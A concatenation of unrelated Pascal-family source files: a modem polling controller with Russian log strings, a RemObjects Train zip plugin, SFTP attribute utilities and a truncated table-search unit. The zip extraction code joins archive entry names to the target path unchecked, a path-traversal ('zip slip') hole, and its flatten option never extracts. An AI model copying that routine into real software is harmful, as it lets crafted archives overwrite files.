if(Pack.Hdr.ServiceID=Svc.ID)then begin
Svc.receiveData(Pack.Hdr.FromAddr,Data);
Found:=True;
break;
end;
end;
if (Pack.Hdr.ServiceID<>0) and not Found
then UnknownServiceHandler(Pack.Hdr.ServiceID,Data);
Result:=True;
end;
if CanTX then begin
SvcID:=0;
Data:='';
i:=iNextSvc;
Found:=False;
repeat
Svc:=Service[i];
if Svc.HaveDataToTransmit then begin
Svc.getDataToTransmit(Data,MaxPacketDataSize);
SvcID:=Svc.ID;
end;
Inc(i); if i>=SvcList.Count then i:=0;
until (i=iNextSvc) or Found;
iNextSvc:=i;
if Data<>'' then begin
Result:=True;
sendPacket(PRT,Data,SvcID);
end;
end;
end;
procedure TItemMain.RefreshFrame;
const
SecProDay=24*3600;
var
CT:Cardinal;
S:String;
begin
if Modem.Enabled
then FM.stModemState.Caption:=sModemStates[Modem.State]
else FM.stModemState.Caption:='- - -';
FM.stInfoI.Caption:=Format('R:%.4d/%.2d %.5dK',[SpeedI,PPSI,SumI shr 10]);
FM.stInfoO.Caption:=Format('T:%.4d/%.2d %.5dK',[SpeedO,PPSO,SumO shr 10]);
CT:=ConnectionTimer;
if Modem.State=msOnline then Inc(CT,OnlineTimer);
if CT>SecProDay then begin
S:=IntToStr(CT div SecProDay)+':';
CT:=CT mod SecProDay;
end
else S:='';
FM.stConnTime.Caption:=S+TimeToStr(CT*dtOneSecond)+' ';
end;
procedure TItemMain.SetWorking(const Value: Boolean);
begin
FWorking := Value;
if FM<>nil then FM.cbWorking.Checked:=Value;
end;
procedure TItemMain.SwitchProgramming;
begin
if SvcReprog.Programming then begin
AddEvent(GetMyTime,'Процесс перепрошивки остановлен');
SvcReprog.stopProgramming;
end
else begin
AddEvent(GetMyTime,'Инициирована перепрошивка контроллера');
SvcReprog.startProgramming;
end;
end;
type
TFakeModem = class(TModem)
end;
procedure TItemMain.TimerProc;
var
i,iFound:Integer;
KP:TItemKP;
S:String;
begin
if FInTimerProc then exit;
FInTimerProc:=True;
if Working xor Modem.Enabled then begin
if Working then begin
try
Modem.DeviceName:=ComPort;
Modem.BaudRate:=BaudRate;
Modem.Open;
sleep(100);
if not FLeasedLine then begin
// LeasedLine:=Modem.RLSD;
i:=2;
while i>0 do begin
try
Modem.PurgeIn;
Modem.DoCmd(InitCmd);
sleep(100);
break;
except
sleep(500);
end;
Dec(i);
end;
if i<0 then raise Exception.Create('Modem init failed');
end;
if not FCheckRLSD then TFakeModem(Modem).SetState(msOnline);
AddEvent(GetMyTime,'Опрос запущен');
FInTimerProc:=False;
exit;
except
on E:Exception do begin
AddEvent(GetMyTime,'Ошибка открытия порта: '+E.Message);
Working:=False;
Modem.Close;
end;
end;
PrtPacketer.SetPause(False);
end
else begin
AddEvent(GetMyTime,'Опрос приостановлен');
PrtPacketer.SetPause(True);
Modem.Disconnect(DisconnectCmd);
if not FCheckRLSD then TFakeModem(Modem).SetState(msOffline);
Modem.Close;
end;
end;
if Modem.Enabled
then case Modem.State of
msOffline: // ищем, куда звонить
if iCurKP<0 then begin
iFound:=-1;
for i:=0 to KPs.Count-1 do begin
KP:=TItemKP(KPs[i]);
if KP.ManualDialRequest then begin
iFound:=i; break;
end
else if (iFound<0) and KP.AutoDialRequest then iFound:=i;
end;
if iFound>=0 then begin
iCurKP:=iFound;
KP:=TItemKP(KPs[iFound]);
if KP.ManualDialRequest
then S:='Ручной дозвон'
else S:='Автодозвон';
AddEvent(GetMyTime,S+' "'+KP.Name+'"');
sleep(100);
Connect(DialCmd+KP.Phone);
end;
end;
msOnline:
begin
Inc(OnlineTimer);
Inc(NoAnswerWatchTimer);
if not FLeasedLine and
((TarifUnit=1) or ((ConnectionTimer+OnlineTimer) mod TarifUnit=TarifUnit-1))
then begin
S:='';
if ((ConnectionTimer+OnlineTimer)>=MaxConnTime-1)
then S:=Format('Ограничение времени сеанса связи (%ds)',[MaxConnTime])
else if (NoAnswerWatchTimer>=AnswerTimeout)
then S:=Format('Таймаут ответа контроллера (%ds)',[AnswerTimeout])
else begin
if (iCurKP>=0) and not TItemKP(KPs[iCurKP]).NeedConnection
then S:='Контроллер передал накопленные данные';
end;
if S<>'' then begin
NoAnswerWatchTimer:=0;
AddEvent(GetMyTime,S);
Modem.Disconnect(DisconnectCmd);
// Чтобы часто не ломился в дозвон :)
if iCurKP>=0
then TItemKP(KPs[iCurKP]).PauseDial;
end;
end;
end;
msConnection:
begin
Inc(ConnectionTimer);
if ConnectionTimer>MaxDialTime then begin
AddEvent(GetMyTime,Format('Превышено время ожидания несущей (%dс)',[MaxDialTime]));
Modem.Disconnect(DisconnectCmd);
end;
end;
msDisconnection:
begin
Inc(NoAnswerWatchTimer);
if NoAnswerWatchTimer>=5 then begin
NoAnswerWatchTimer:=0;
AddEvent(GetMyTime,'Пока не удаётся разорвать соединение :(');
Modem.Disconnect(DisconnectCmd);
end;
end;
end;
SpeedI:=BytesI; PPSI:=PacketsI; Inc(SumI,BytesI); BytesI:=0; PacketsI:=0;
SpeedO:=BytesO; PPSO:=PacketsO; Inc(SumO,BytesO); BytesO:=0; PacketsO:=0;
if FM<>nil then RefreshFrame;
for i:=0 to KPs.Count-1 do TItemKP(KPs[i]).TimerProc;
FInTimerProc:=False;
end;
function TItemMain.Validate: Boolean;
var
TU,MCT:Double;
begin
try
// Checking
CheckMinMax(TU,1,60,FM.edTarifUnit);
CheckMinMax(MCT,1,86400,FM.edMaxConnTime);
// Storing
ComPort:=FM.edPort.Text;
BaudRate:=TBaudRate(FM.comboBaudRate.ItemIndex);
TarifUnit:=Round(TU);
MaxConnTime:=Round(MCT);
Result:=True;
except
Result:=False;
end;
end;
procedure TItemMain.SaveCfg(Cfg: TIniFile);
var
i:Integer;
begin
Cfg.WriteString(Section,'ComPort',ComPort);
Cfg.WriteInteger(Section,'BaudRateCode',Integer(BaudRate));
Cfg.WriteInteger(Section,'TarifUnit',TarifUnit);
Cfg.WriteInteger(Section,'MaxConnTime',MaxConnTime);
for i:=0 to KPs.Count-1 do TItemKP(KPs[i]).SaveCfg(Cfg);
end;
procedure TFrameRS485.BtnChangeClick(Sender: TObject);
begin
Main.ChangeData(BtnChange,Panel);
end;
procedure TFrameRS485.cbWorkingClick(Sender: TObject);
begin
Main.FWorking:=cbWorking.Checked;
end;
function TItemMain.FindKP(Address: Integer; var KP:TTreeItem): INteger;
var
i:Integer;
begin
Result:=-1;
KP:=nil;
for i:=0 to KPs.Count-1
do if TItemKP(KPs[i]).Address=Address then begin
Result:=i;
KP:=TItemKP(KPs[i]);
break;
end;
end;
procedure TItemMain.OnDisconnect;
var
S:String;
begin
if OnlineTimer>0
then S:=Format(
'(%ds+%ds,R:%.1fK~%db/s,T:%.1fK~%db/s)',
[ConnectionTimer,OnlineTimer,
SumI*(1/1024),SumI div OnlineTimer,
SumO*(1/1024),SumO div OnlineTimer ])
else S:=Format('(%ds+%ds)',[ConnectionTimer,OnlineTimer]);
AddEvent(GetMyTime,'Связь разорвана '+S);
iCurKP:=-1;
PrtARQ.OnDisconnect;
ConnectionTimer:=0;
end;
procedure TFrameRS485.cbLeasedClick(Sender: TObject);
var
S:String;
begin
if Main.LeasedLine=cbLeased.Checked then exit;
Main.LeasedLine:=cbLeased.Checked;
if Main.LeasedLine
then S:='Запрещено'
else S:='Разрешено';
Main.AddEvent(GetMyTime,S+' автоматическое разъединение');
end;
procedure TItemMain.OnModemResponse;
begin
CommEvent('Модем: '+Modem.ResponseInLine);
if Modem.ResponseCode=mrcRing then begin
AddEvent(GetMyTime,'Входящий звонок');
Connect('ata');
end;
end;
procedure TItemMain.Connect(Cmd: String);
begin
Modem.Connect(Cmd);
ConnectionTimer:=0;
SumI:=0; SumO:=0;
end;
procedure TItemMain.SetLeasedLine(const Value: Boolean);
begin
FLeasedLine := Value;
if FM<>nil then begin
if (Value<>FM.cbLeased.Checked) then FM.cbLeased.Checked:=Value;
end;
end;
procedure TItemMain.ProcessIO;
const
Inside:Boolean=False;
var
IO,i:Integer;
HaveData,NothingToDo:Boolean;
PRT:TPRT;
begin
if Inside then exit;
Inside:=True;
try
repeat
Application.ProcessMessages;
{ if not Modem.Enabled or
(Modem.State<>msOnline) and (Modem.State<>msDisconnection)}
if Modem.Enabled and
((Modem.State=msOnline) or (Modem.State=msDisconnection))
then begin
IO:=PrtARQ.ProcessIO;
HaveData:=ProcessPacket(PrtARQ,IO and IO_RX<>0, IO and IO_TX<>0);
NothingToDo:=(IO and IO_RX=0) and (HaveData xor (IO and IO_TX<>0))
end
else NothingToDo:=True;
for i:=MyConnList.Count-1 downto 0 do begin
PRT:=TPRT(MyConnList[i]);
IO:=PRT.ProcessIO;
HaveData:=ProcessPacket(PRT,IO and IO_RX<>0, IO and IO_TX<>0);
NothingToDo:=NothingToDo and
( (IO and IO_RX=0) and (HaveData xor (IO and IO_TX<>0)) )
end;
until NothingToDo or Application.Terminated;
finally
Inside:=False;
end;
end;
procedure TItemMain.sendPacket(PRT:TPRT; const Data:String; SvcID:Integer);
var
Pack:TPacket;
Size:Integer;
begin
Pack.Hdr.FromAddr:=MyAddr;
Pack.Hdr.ServiceID:=SvcID;
Move(Data[1],Pack.Data,Length(Data));
Size:=SizeOf(TPacketHeader)+Length(Data);
PRT.Tx(Pack,Size);
end;
procedure TItemMain.ShowARQState(TxRd,TxWr,RxRd,RxWr:Integer);
const
TR:Integer=0;
TW:Integer=0;
RR:Integer=0;
RW:Integer=0;
begin
if (FM<>nil) and
((TR<>TxRd) or (TW<>TxWr) or (RR<>RxRd) or (RW<>RxWr))
then FM.stARQState.Caption:=
Format('TxRd=%02X TxWr=%02X RxRd=%02X RxWr=%02X',[TxRd,TxWr,RxRd,RxWr]);
end;
function TItemMain.GetService(i: Integer): TService;
begin
Result:=TService(SvcList[i]);
end;
procedure TItemMain.SwitchDumping;
begin
if SvcDump.Active then begin
AddEvent(GetMyTime,'СТОП - получение дампа памяти');
SvcDump.stop;
end
else begin
AddEvent(GetMyTime,'СТАРТ - получение дампа памяти');
SvcDump.start;
end;
end;
end.
|
namespace RemObjects.Train.API;
interface
uses
System.Collections.Generic,
RemObjects.Script.EcmaScript,
System.Linq,
System.IO,
System.IO.Compression,
System.Text;
type
[PluginRegistration]
ZipRegistration = public class(IPluginRegistration)
private
protected
public
method &Register(aServices: IApiRegistrationServices);
[WrapAs('zip.compress', SkipDryRun := true)]
class method ZipCompress(aServices: IApiRegistrationServices; ec: ExecutionContext; zip: String; aInputFolder: String; aFileMasks: String; aRecurse: Boolean := true);
[WrapAs('zip.list', SkipDryRun := true, Important := false)]
class method ZipList(aServices: IApiRegistrationServices; ec: ExecutionContext; zip: String): array of ZipEntryData;
[WrapAs('zip.extractFile', SkipDryRun := true)]
class method ZipExtractFile(aServices: IApiRegistrationServices; ec: ExecutionContext; zip, aDestinationFile: String; aEntry: ZipEntryData);
[WrapAs('zip.extractFiles', SkipDryRun := true)]
class method ZipExtractFiles(aServices: IApiRegistrationServices; ec: ExecutionContext; zip, aDestinationPath: String; aEntry: array of ZipEntryData := nil; aFlatten: Boolean := false);
end;
ZipEntryData = public class
private
public
property name: String;
property size: Int64;
property compressedSize: Int64;
end;
implementation
method ZipRegistration.&Register(aServices: IApiRegistrationServices);
begin
aServices.RegisterObjectValue('zip')
.AddValue('compress', RemObjects.Train.MUtilities.SimpleFunction(aServices.Engine, typeOf(self), 'ZipCompress'))
.AddValue('list', RemObjects.Train.MUtilities.SimpleFunction(aServices.Engine, typeOf(self), 'ZipList'))
.AddValue('extractFile', RemObjects.Train.MUtilities.SimpleFunction(aServices.Engine, typeOf(self), 'ZipExtractFile'))
.AddValue('extractFiles', RemObjects.Train.MUtilities.SimpleFunction(aServices.Engine, typeOf(self), 'ZipExtractFiles'))
;
end;
class method ZipRegistration.ZipCompress(aServices: IApiRegistrationServices; ec: ExecutionContext; zip: String; aInputFolder: String; aFileMasks: String; aRecurse: Boolean);
begin
zip := aServices.ResolveWithBase(ec,zip);
if System.IO.File.Exists(zip) then System.IO.File.Delete(zip);
if String.IsNullOrEmpty(aFileMasks) then aFileMasks := '*';
aFileMasks := aFileMasks.Replace(',', ';');
aInputFolder := aServices.ResolveWithBase(ec,aInputFolder);
if not aInputFolder.EndsWith(System.IO.Path.DirectorySeparatorChar) then
aInputFolder := aInputFolder + System.IO.Path.DirectorySeparatorChar;
using sz := ZipStorer.Create(zip, '') do begin
for each mask in aFileMasks.Split([';'], StringSplitOptions.RemoveEmptyEntries) do begin
var lRealInputFolder := aInputFolder;
var lRealMask := mask;
var lIdx := lRealMask.LastIndexOfAny(['/', '\']);
if lIdx <> -1 then begin
lRealInputFolder := Path.Combine(lRealInputFolder, lRealMask.Substring(0, lIdx));
lRealMask := lRealMask.Substring(lIdx+1);
end;
for each el in System.IO.Directory.EnumerateFiles(lRealInputFolder, lRealMask, if aRecurse then System.IO.SearchOption.AllDirectories else System.IO.SearchOption.TopDirectoryOnly) do begin
sz.AddFile(ZipStorer.Compression.Deflate, el, el.Substring(aInputFolder.Length), '', $81ED);
end;
end;
end;
end;
class method ZipRegistration.ZipList(aServices: IApiRegistrationServices; ec: ExecutionContext; zip: String): array of ZipEntryData;
begin
using zs := ZipStorer.Open(aServices.ResolveWithBase(ec,zip), FileAccess.Read) do begin
exit zs.ReadCentralDir.Select(a->new ZipEntryData(
name := a.FilenameInZip,
compressedSize := a.CompressedSize,
size := a.FileSize)).ToArray;
end;
end;
class method ZipRegistration.ZipExtractFile(aServices: IApiRegistrationServices; ec: ExecutionContext; zip: String; aDestinationFile: String; aEntry: ZipEntryData);
begin
aDestinationFile := aServices.ResolveWithBase(ec, aDestinationFile);
using zs := ZipStorer.Open(aServices.ResolveWithBase(ec,zip), FileAccess.Read) do begin
var lEntry := zs.ReadCentralDir().FirstOrDefault(a -> a.FilenameInZip = aEntry:name);
if lEntry.FilenameInZip = nil then raise new ArgumentException('No such file in zip: '+aEntry:name);
if aDestinationFile.EndsWith('/') or aDestinationFile.EndsWith('\') then
aDestinationFile := Path.Combine(aDestinationFile, Path.GetFileName(aEntry.name));
if not System.IO.Directory.Exists(Path.GetDirectoryName(aDestinationFile)) then
Directory.CreateDirectory(Path.GetDirectoryName(aDestinationFile));
if File.Exists(aDestinationFile) then
File.Delete(aDestinationFile);
if not zs.ExtractFile(lEntry, aDestinationFile) then
raise new InvalidOperationException('Error extracting '+lEntry.FilenameInZip+' to '+aDestinationFile);
end;
end;
class method ZipRegistration.ZipExtractFiles(aServices: IApiRegistrationServices;ec: ExecutionContext; zip: String; aDestinationPath: String; aEntry: array of ZipEntryData; aFlatten: Boolean := false);
begin
aDestinationPath := aServices.ResolveWithBase(ec, aDestinationPath);
Directory.CreateDirectory(aDestinationPath);
using zs := ZipStorer.Open(aServices.ResolveWithBase(ec,zip), FileAccess.Read) do begin
for each el in zs.ReadCentralDir do begin
if not ((length(aEntry) = 0) or (aEntry.Any(a->a.name = el.FilenameInZip)) ) then continue;
var lTargetFN: String;
var lInputFN := el.FilenameInZip.Replace('/', Path.DirectorySeparatorChar);
if aFlatten then
lTargetFN := Path.Combine(aDestinationPath, Path.GetFileName(lInputFN))
else begin
lTargetFN := Path.Combine(aDestinationPath, lInputFN);
if File.Exists(lTargetFN) then
File.Delete(lTargetFN);
if not zs.ExtractFile(el, lTargetFN) then
raise new InvalidOperationException('Error extracting '+el.FilenameInZip+' to '+lTargetFN);
end;
end;
end;
end;
end. |
{
Clever Internet Suite
Copyright (C) 2014 Clever Components
All Rights Reserved
www.CleverComponents.com
}
unit clSFtpUtils;
interface
{$I ..\common\clVer.inc}
uses
{$IFNDEF DELPHIXE2}
Classes, SysUtils, DateUtils,
{$ELSE}
System.Classes, System.SysUtils, System.DateUtils,
{$ENDIF}
clSocketUtils, clUtils, clSshPacket, clTranslator;
type
EclSFtpClientError = class(EclSocketError)
public
class function GetSFtpStatusText(AStatusCode: Integer): string;
end;
TclSFtpFilePermission = (
fpUserIDExec, fpGroupIDExec, fpStickyBit,
fpOwnerRead, fpOwnerWrite, fpOwnerExec,
fpGroupRead, fpGroupWrite, fpGroupExec,
fpOtherRead, fpOtherWrite, fpOtherExec
);
TclSFtpFilePermissions = set of TclSFtpFilePermission;
TclSFtpFileAttrs = class
private
FFlags: Integer;
FSize: Int64;
FUid: Integer;
FGid: Integer;
FPermissions: TclSFtpFilePermissions;
FAccessTime: TDateTime;
FModifyTime: TDateTime;
FExtended: TStrings;
function GetIsDir: Boolean;
public
constructor Create; overload;
constructor Create(APacket: TclPacket); overload;
destructor Destroy; override;
class function IntToFilePermissions(APermissions: Integer): TclSFtpFilePermissions;
class function FilePermissionsToInt(APermissions: TclSFtpFilePermissions): Integer;
class function IntToDateTime(ADate: Integer): TDateTime;
class function DateTimeToInt(ADate: TDateTime): Integer;
procedure Clear; virtual;
procedure Load(APacket: TclPacket); virtual;
procedure Save(APacket: TclPacket); virtual;
function SavedLength: Integer; virtual;
procedure SetSize(ASize: Int64);
procedure SetUidGid(AUid, AGid: Integer);
procedure SetDate(AAccessTime, AModifyTime: Integer); overload;
procedure SetDate(AAccessTime, AModifyTime: TDateTime); overload;
procedure SetPermissions(APermissions: TclSFtpFilePermissions);
procedure SetExtended(AExtended: TStrings);
property Flags: Integer read FFlags;
property Size: Int64 read FSize;
property Uid: Integer read FUid;
property Gid: Integer read FGid;
property Permissions: TclSFtpFilePermissions read FPermissions;
property AccessTime: TDateTime read FAccessTime;
property ModifyTime: TDateTime read FModifyTime;
property Extended: TStrings read FExtended;
property IsDir: Boolean read GetIsDir;
end;
resourcestring
SFtpVersionError = 'Cannot receive SFTP protocol version';
SFtpUnknownStatus = 'Unknown status code';
SFtpPathError = 'Path operation failed';
SFtpError = 'Operation failed';
SFtpExtendedAttrError = 'Invalid extended attribute format';
SFtpOldVersionError = 'The server is too old to support rename operation';
const
SFtpStatusText: array[0..8] of string = (
'OK', 'EOF', 'No such file', 'Permission Denied', 'Failure', 'Bad message', 'No connection', 'Connection lost', 'Unsupported operation'
);
SFtpVersionErrorCode = -101;
SFtpPathErrorCode = -102;
SFtpExtendedAttrErrorCode = -103;
SFtpOldVersionErrorCode = -104;
SFtpFilePermissions: array[TclSFtpFilePermission] of Integer = (
$00000800, $00000400, $00000200,
$00000100, $00000080, $00000040,
$00000020, $00000010, $00000008,
$00000004, $00000002, $00000001
);
S_IFDIR = $4000;
SSH_FX_OK = 0;
SSH_FX_EOF = 1;
SSH_FX_NO_SUCH_FILE = 2;
SSH_FX_PERMISSION_DENIED = 3;
SSH_FX_FAILURE = 4;
SSH_FX_BAD_MESSAGE = 5;
SSH_FX_NO_CONNECTION = 6;
SSH_FX_CONNECTION_LOST = 7;
SSH_FX_OP_UNSUPPORTED = 8;
SSH_FXP_INIT = 1;
SSH_FXP_VERSION = 2;
SSH_FXP_OPEN = 3;
SSH_FXP_CLOSE = 4;
SSH_FXP_READ = 5;
SSH_FXP_WRITE = 6;
SSH_FXP_LSTAT = 7;
SSH_FXP_FSTAT = 8;
SSH_FXP_SETSTAT = 9;
SSH_FXP_FSETSTAT = 10;
SSH_FXP_OPENDIR = 11;
SSH_FXP_READDIR = 12;
SSH_FXP_REMOVE = 13;
SSH_FXP_MKDIR = 14;
SSH_FXP_RMDIR = 15;
SSH_FXP_REALPATH = 16;
SSH_FXP_STAT = 17;
SSH_FXP_RENAME = 18;
SSH_FXP_READLINK = 19;
SSH_FXP_SYMLINK = 20;
SSH_FXP_STATUS = 101;
SSH_FXP_HANDLE = 102;
SSH_FXP_DATA = 103;
SSH_FXP_NAME = 104;
SSH_FXP_ATTRS = 105;
SSH_FXP_EXTENDED = 200;
SSH_FXP_EXTENDED_REPLY = 201;
SSH_FXF_READ = $00000001;
SSH_FXF_WRITE = $00000002;
SSH_FXF_APPEND = $00000004;
SSH_FXF_CREAT = $00000008;
SSH_FXF_TRUNC = $00000010;
SSH_FXF_EXCL = $00000020;
SSH_FILEXFER_ATTR_SIZE = $00000001;
SSH_FILEXFER_ATTR_UIDGID = $00000002;
SSH_FILEXFER_ATTR_PERMISSIONS = $00000004;
SSH_FILEXFER_ATTR_ACMODTIME = $00000008;
SSH_FILEXFER_ATTR_EXTENDED = Integer($80000000 - $100000000);
SFtpClientVersion = 3;
DefaultSFtpPort = 22;
implementation
{ EclSFtpClientError }
class function EclSFtpClientError.GetSFtpStatusText(AStatusCode: Integer): string;
begin
if ((AStatusCode < 0) or (AStatusCode > Length(SFtpStatusText) - 1)) then
begin
Result := SFtpUnknownStatus;
end else
begin
Result := SFtpStatusText[AStatusCode];
end;
end;
{ TclSFtpFileAttrs }
constructor TclSFtpFileAttrs.Create;
begin
inherited Create();
FExtended := TStringList.Create();
Clear();
end;
procedure TclSFtpFileAttrs.Clear;
begin
FFlags := 0;
FSize := 0;
FUid := 0;
FGid := 0;
FPermissions := [];
FAccessTime := 0;
FModifyTime := 0;
FExtended.Clear();
end;
constructor TclSFtpFileAttrs.Create(APacket: TclPacket);
begin
inherited Create();
FExtended := TStringList.Create();
Clear();
Load(APacket);
end;
class function TclSFtpFileAttrs.DateTimeToInt(ADate: TDateTime): Integer;
var
dd: TDateTime;
hh, mm, ss, ms: Word;
begin
if (ADate <= EncodeDate(1970, 1, 1)) then
begin
Result := 0;
Exit;
end;
dd := ADate - EncodeDate(1970, 1, 1);
DecodeTime(dd, hh, mm, ss, ms);
Result := Trunc(dd) * 86400 + hh * 3600 + mm * 60 + ss;
end;
destructor TclSFtpFileAttrs.Destroy;
begin
FExtended.Free();
inherited Destroy();
end;
class function TclSFtpFileAttrs.FilePermissionsToInt(APermissions: TclSFtpFilePermissions): Integer;
var
i: TclSFtpFilePermission;
begin
Result := 0;
for i := Low(TclSFtpFilePermission) to High(TclSFtpFilePermission) do
begin
if (i in APermissions) then
begin
Result := Result or SFtpFilePermissions[i];
end;
end;
end;
function TclSFtpFileAttrs.GetIsDir: Boolean;
begin
Result := ((FFlags and SSH_FILEXFER_ATTR_PERMISSIONS) <> 0) and
((FilePermissionsToInt(FPermissions) and S_IFDIR) <> 0);
end;
class function TclSFtpFileAttrs.IntToDateTime(ADate: Integer): TDateTime;
begin
if (ADate <= 0) then
begin
Result := 0;
Exit;
end;
Result := EncodeDate(1970, 1, 1);
Result := IncSecond(Result, ADate);
end;
class function TclSFtpFileAttrs.IntToFilePermissions(APermissions: Integer): TclSFtpFilePermissions;
var
i: TclSFtpFilePermission;
begin
Result := [];
for i := Low(TclSFtpFilePermission) to High(TclSFtpFilePermission) do
begin
if ((SFtpFilePermissions[i] and APermissions) <> 0) then
begin
Result := Result + [i];
end;
end;
end;
procedure TclSFtpFileAttrs.Load(APacket: TclPacket);
var
i, count: Integer;
s: string;
begin
Clear();
FFlags := APacket.GetInt();
if ((FFlags and SSH_FILEXFER_ATTR_SIZE) <> 0) then
begin
FSize := APacket.GetLong();
end;
if ((FFlags and SSH_FILEXFER_ATTR_UIDGID) <> 0) then
begin
FUid := APacket.GetInt();
FGid := APacket.GetInt();
end;
if ((FFlags and SSH_FILEXFER_ATTR_PERMISSIONS) <> 0) then
begin
FPermissions := IntToFilePermissions(APacket.GetInt());
end;
if ((FFlags and SSH_FILEXFER_ATTR_ACMODTIME) <> 0) then
begin
FAccessTime := IntToDateTime(APacket.GetInt());
FModifyTime := IntToDateTime(APacket.GetInt());
end;
if ((FFlags and SSH_FILEXFER_ATTR_EXTENDED) <> 0) then
begin
count := APacket.GetInt();
if (count > 0) then
begin
for i := 0 to count - 1 do
begin
s := TclTranslator.GetString(APacket.GetString()) + '@' + TclTranslator.GetString(APacket.GetString());
FExtended.Add(s);
end;
end;
end;
end;
procedure TclSFtpFileAttrs.Save(APacket: TclPacket);
var
i: Integer;
list: TStrings;
begin
APacket.PutInt(FFlags);
if ((FFlags and SSH_FILEXFER_ATTR_SIZE) <> 0) then
begin
APacket.PutLong(FSize);
end;
if ((FFlags and SSH_FILEXFER_ATTR_UIDGID) <> 0) then
begin
APacket.PutInt(FUid);
APacket.PutInt(FGid);
end;
if ((FFlags and SSH_FILEXFER_ATTR_PERMISSIONS) <> 0) then
begin
APacket.PutInt(FilePermissionsToInt(FPermissions));
end;
if ((FFlags and SSH_FILEXFER_ATTR_ACMODTIME) <> 0) then
begin
APacket.PutInt(DateTimeToInt(FAccessTime));
APacket.PutInt(DateTimeToInt(FModifyTime));
end;
if ((FFlags and SSH_FILEXFER_ATTR_EXTENDED) <> 0) then
begin
APacket.PutInt(FExtended.Count);
if (FExtended.Count > 0) then
begin
list := TStringList.Create();
try
for i := 0 to FExtended.Count - 1 do
begin
SplitText(FExtended[i], list, '@');
if (list.Count <> 2) then
begin
raise EclSFtpClientError.Create(SFtpExtendedAttrError, SFtpExtendedAttrErrorCode);
end;
APacket.PutString(TclTranslator.GetBytes(list[0]));
APacket.PutString(TclTranslator.GetBytes(list[1]));
end;
finally
list.Free();
end;
end;
end;
end;
function TclSFtpFileAttrs.SavedLength: Integer;
var
i: Integer;
begin
Result := 4;
if ((FFlags and SSH_FILEXFER_ATTR_SIZE) <> 0) then
begin
Inc(Result, 8);
end;
if ((FFlags and SSH_FILEXFER_ATTR_UIDGID) <> 0) then
begin
Inc(Result, 8);
end;
if ((FFlags and SSH_FILEXFER_ATTR_PERMISSIONS) <> 0) then
begin
Inc(Result, 4);
end;
if ((FFlags and SSH_FILEXFER_ATTR_ACMODTIME) <> 0) then
begin
Inc(Result, 8);
end;
if ((FFlags and SSH_FILEXFER_ATTR_EXTENDED) <> 0) then
begin
Inc(Result, 4);
if (FExtended.Count > 0) then
begin
for i := 0 to FExtended.Count - 1 do
begin
Inc(Result, 4 + 4);
Inc(Result, Length(FExtended[i]) - 1);
end;
end;
end;
end;
procedure TclSFtpFileAttrs.SetDate(AAccessTime, AModifyTime: Integer);
begin
SetDate(IntToDateTime(AAccessTime), IntToDateTime(AModifyTime));
end;
procedure TclSFtpFileAttrs.SetDate(AAccessTime, AModifyTime: TDateTime);
begin
FFlags := FFlags or SSH_FILEXFER_ATTR_ACMODTIME;
FAccessTime := AAccessTime;
FModifyTime := AModifyTime;
end;
procedure TclSFtpFileAttrs.SetExtended(AExtended: TStrings);
begin
FFlags := FFlags or SSH_FILEXFER_ATTR_EXTENDED;
FExtended.Assign(AExtended);
end;
procedure TclSFtpFileAttrs.SetPermissions(APermissions: TclSFtpFilePermissions);
begin
FFlags := FFlags or SSH_FILEXFER_ATTR_PERMISSIONS;
FPermissions := APermissions;
end;
procedure TclSFtpFileAttrs.SetSize(ASize: Int64);
begin
FFlags := FFlags or SSH_FILEXFER_ATTR_SIZE;
FSize := ASize;
end;
procedure TclSFtpFileAttrs.SetUidGid(AUid, AGid: Integer);
begin
FFlags := FFlags or SSH_FILEXFER_ATTR_UIDGID;
FUid := AUid;
FGid := AGid;
end;
end.
|
unit evTableSearch;
// Модуль: "w:\common\components\gui\Garant\EverestCommon\evTableSearch.pas"
// Стереотип: "UtilityPack"
// Элемент модели: "evTableSearch" MUID: (50751A0A0164)
{$Include w:\common\components\gui\Garant\EverestCommon\evDefine.inc}
interface
uses
l3IntfUses
, evSearch
, nevBase
, l3Variant
, l3CustomString
, nevTools
, evTypes
;
type
TevTableTextSearcher = class(TevAnyParagraphSearcher)
protected
function CheckCellType(aCell: Tl3Variant): Boolean; virtual;
public
function DoCheckText(aPara: Tl3Variant;
aText: Tl3CustomString;
const aSel: TevPair;
out theSel: TevPair): Boolean; override;
end;//TevTableTextSearcher
TevFirstTableCellSearcher = class(TevTableTextSearcher)
public
function DoCheckText(aPara: Tl3Variant;
aText: Tl3CustomString;
const aSel: TevPair;
out theSel: TevPair): Boolean; override;
end;//TevFirstTableCellSearcher
TevOldNSRCFlagReplacer = class(TevBaseReplacer)
private
f_FlagInit: Boolean;
f_FlagValue: Boolean;
protected
function ReplaceFunc(const aView: InevView;
const Container: InevOp;
const aBlock: InevRange): Boolean; override;
public
class function Make(anOptions: TevSearchOptionSet = []): IevReplacer;
end;//TevOldNSRCFlagReplacer
TevTableCellFrameReplacer = class(TevBaseReplacer)
private
f_Frame: Integer;
protected
function ReplaceFunc(const aView: InevView;
const Container: InevOp;
const aBlock: InevRange): Boolean; override;
public
class function Make(aFrame: Integer;
anOptions: TevSearchOptionSet = []): IevReplacer;
end;//TevTableCellFrameReplacer
TevTextInContinueCellSearcher = class(TevTableTextSearcher)
protected
function CheckCellType(aCell: Tl3Variant): Boolean; override;
end;//TevTextInContinueCellSearcher
implementation
uses
l3ImplUses
{$If Defined(k2ForEditor)}
, evParaTools
{$IfEnd} // Defined(k2ForEditor)
, TableCell_Const
, SBSCell_Const
, SysUtils
, SBS_Const
, Table_Const
, k2Tags
, evdTypes
//#UC START# *50751A0A0164impl_uses*
//#UC END# *50751A0A0164impl_uses*
;
function TevTableTextSearcher.CheckCellType(aCell: Tl3Variant): Boolean;
//#UC START# *5075300802E0_50751AB90061_var*
//#UC END# *5075300802E0_50751AB90061_var*
begin
//#UC START# *5075300802E0_50751AB90061_impl*
Result := True;
//#UC END# *5075300802E0_50751AB90061_impl*
end;//TevTableTextSearcher.CheckCellType
function TevTableTextSearcher.DoCheckText(aPara: Tl3Variant;
aText: Tl3CustomString;
const aSel: TevPair;
out theSel: TevPair): Boolean;
//#UC START# *50751B680376_50751AB90061_var*
var
l_Cell : Tl3Variant;
//#UC END# *50751B680376_50751AB90061_var*
begin
//#UC START# *50751B680376_50751AB90061_impl*
Result := inherited DoCheckText(aPara, aText, aSel, theSel);
if Result then
if evInPara(aPara.AsObject, k2_typTableCell, [k2_typSBSCell], l_Cell) then
Result := CheckCellType(l_Cell)
else
Result := false;
//#UC END# *50751B680376_50751AB90061_impl*
end;//TevTableTextSearcher.DoCheckText
function TevFirstTableCellSearcher.DoCheckText(aPara: Tl3Variant;
